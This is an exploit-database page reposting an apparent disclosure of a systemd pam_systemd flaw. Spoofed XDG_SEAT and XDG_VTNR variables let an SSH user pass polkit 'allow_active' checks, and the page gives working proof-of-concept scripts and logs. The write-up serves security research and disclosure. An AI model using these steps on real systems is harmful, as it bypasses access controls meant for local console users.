0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit Exploit
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit As documented at <https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html>, for any action, a polkit policy can specify separate levels of required authentication based on whether a client is: - in an active session on a local console - in an inactive session on a local console - or neither This is expressed in the policy using the elements "allow_any", "allow_inactive" and "allow_active". Very roughly speaking, the idea here is to give special privileges to processes owned by users that are sitting physically in front of the machine (or at least, a keyboard and a screen that are connected to a machine), and restrict processes that e.g. belong to users that are ssh'ing into a machine. For example, the ability to refresh the system's package index is restricted this way using a policy in /usr/share/polkit-1/actions/org.freedesktop.packagekit.policy: <action id="org.freedesktop.packagekit.system-sources-refresh"> [...] <description>Refresh system repositories</description> [...] <message>Authentication is required to refresh the system repositories</message> [...] <defaults> <allow_any>auth_admin</allow_any> <allow_inactive>auth_admin</allow_inactive> <allow_active>yes</allow_active> </defaults> </action> On systems that use systemd-logind, polkit determines whether a session is associated with a local console by checking whether systemd-logind is tracking the session as being associated with a "seat". This happens through polkit_backend_session_monitor_is_session_local() in polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat(). The check whether a session is active works similarly. systemd-logind is informed about the creation of new sessions by the PAM module pam_systemd through a systemd message bus call from pam_sm_open_session() to method_create_session(). The RPC method trusts the information supplied to it, apart from some consistency checks; that is not directly a problem, since this RPC method can only be invoked by root. This means that the PAM module needs to ensure that it doesn't pass incorrect data to systemd-logind. Looking at the code in the PAM module, however, you can see that the seat name of the session and the virtual terminal number come from environment variables: seat = getenv_harder(handle, "XDG_SEAT", NULL); cvtnr = getenv_harder(handle, "XDG_VTNR", NULL); type = getenv_harder(handle, "XDG_SESSION_TYPE", type_pam); class = getenv_harder(handle, "XDG_SESSION_CLASS", class_pam); desktop = getenv_harder(handle, "XDG_SESSION_DESKTOP", desktop_pam); This is actually documented at <https://www.freedesktop.org/software/systemd/man/pam_systemd.html#Environment>. After some fixup logic that is irrelevant here, this data is then passed to the RPC method. One quirk of this issue is that a new session is only created if the calling process is not already part of a session (based on the cgroups it is in, parsed from procfs). This means that an attacker can't simply ssh into a machine, set some environment variables, and then invoke a setuid binary that uses PAM (such as "su") because ssh already triggers creation of a session via PAM. But as it turns out, the systemd PAM module is only invoked for interactive sessions: # cat /usr/share/pam-configs/systemd Name: Register user sessions in the systemd control group hierarchy Default: yes Priority: 0 Session-Interactive-Only: yes Session-Type: Additional Session: optional pam_systemd.so So, under the following assumptions: - we can run commands on the remote machine, e.g. via SSH - our account can be used with "su" (it has a password and isn't disabled) - the machine has no X server running and is currently displaying tty1, with a login prompt we can have our actions checked against the "allow_active" policies instead of the "allow_any" policies as follows: - SSH into the machine - use "at" to schedule a job in one minute that does the following: * wipe the environment * set XDG_SEAT=seat0 and XDG_VTNR=1 * use "expect" to run "su -c {...} {our_username}" and enter our user's password * in the shell invoked by "su", perform the action we want to run under the "allow_active" policy I tested this in a Debian 10 VM, as follows ("{{{...}}}" have been replaced), after ensuring that no sessions are active and the VM's screen is showing the login prompt on tty1; all following commands are executed over SSH: ===================================================================== normal_user@deb10:~$ cat session_outer.sh #!/bin/sh echo "===== OUTER TESTING PKCON" >/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log env -i /home/normal_user/session_middle.sh normal_user@deb10:~$ cat session_middle.sh #!/bin/sh export XDG_SEAT=seat0 export XDG_VTNR=1 echo "===== ENV DUMP =====" > /tmp/atjob.log env >> /tmp/atjob.log echo "===== SESSION_OUTER =====" >> /tmp/atjob.log cat /proc/self/cgroup >> /tmp/atjob.log echo "===== OUTER LOGIN STATE =====" >> /tmp/atjob.log loginctl --no-ask-password >> /tmp/atjob.log echo "===== MIDDLE TESTING PKCON" >>/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log /home/normal_user/runsu.expect echo "=========================" >> /tmp/atjob.log normal_user@deb10:~$ cat runsu.expect #!/usr/bin/expect spawn /bin/su -c "/home/normal_user/session_inner.sh" normal_user expect "Password: " send "{{{PASSWORD}}}\n" expect eof normal_user@deb10:~$ cat session_inner.sh #!/bin/sh echo "===== INNER LOGIN STATE =====" >> /tmp/atjob.log loginctl --no-ask-password >> /tmp/atjob.log echo "===== SESSION_INNER =====" >> /tmp/atjob.log cat /proc/self/cgroup >> /tmp/atjob.log echo "===== INNER TESTING PKCON" >>/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log normal_user@deb10:~$ loginctl SESSION UID USER SEAT TTY 7 1001 normal_user pts/0 1 sessions listed. normal_user@deb10:~$ pkcon refresh -p </dev/null Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Finished Results: Fatal error: Failed to obtain authentication. normal_user@deb10:~$ at -f /home/normal_user/session_outer.sh {{{TIME}}} warning: commands will be executed using /bin/sh job 25 at {{{TIME}}} {{{ wait here until specified time has been reached, plus time for the job to finish running}}} normal_user@deb10:~$ cat /tmp/atjob.log ===== ENV DUMP ===== XDG_SEAT=seat0 XDG_VTNR=1 PWD=/home/normal_user ===== SESSION_OUTER ===== 10:memory:/system.slice/atd.service 9:freezer:/ 8:pids:/system.slice/atd.service 7:perf_event:/ 6:devices:/system.slice/atd.service 5:net_cls,net_prio:/ 4:cpuset:/ 3:blkio:/ 2:cpu,cpuacct:/ 1:name=systemd:/system.slice/atd.service 0::/system.slice/atd.service ===== OUTER LOGIN STATE ===== SESSION UID USER SEAT TTY 7 1001 normal_user pts/0 1 sessions listed. ===== MIDDLE TESTING PKCON Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Finished Results: Fatal error: Failed to obtain authentication. ===== INNER LOGIN STATE ===== SESSION UID USER SEAT TTY 18 1001 normal_user seat0 pts/1 7 1001 normal_user pts/0 2 sessions listed. ===== SESSION_INNER ===== 10:memory:/user.slice/user-1001.slice/session-18.scope 9:freezer:/ 8:pids:/user.slice/user-1001.slice/session-18.scope 7:perf_event:/ 6:devices:/user.slice 5:net_cls,net_prio:/ 4:cpuset:/ 3:blkio:/ 2:cpu,cpuacct:/ 1:name=systemd:/user.slice/user-1001.slice/session-18.scope 0::/user.slice/user-1001.slice/session-18.scope ===== INNER TESTING PKCON Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Waiting in queue Status: Starting Status: Loading cache Percentage: 0 Percentage: 50 Percentage: 100 Percentage: 0 Percentage: 50 Percentage: 100 Status: Refreshing software list Status: Downloading packages Percentage: 0 Status: Running Status: Loading cache Percentage: 100 Status: Finished Results: Enabled http://ftp.ch.debian.org/debian buster InRelease Enabled http://security.debian.org/debian-security buster/updates InRelease Enabled http://debug.mirrors.debian.org/debian-debug buster-debug InRelease ========================= You have new mail in /var/mail/normal_user normal_user@deb10:~$ ===================================================================== # 0day.today [2024-09-28] #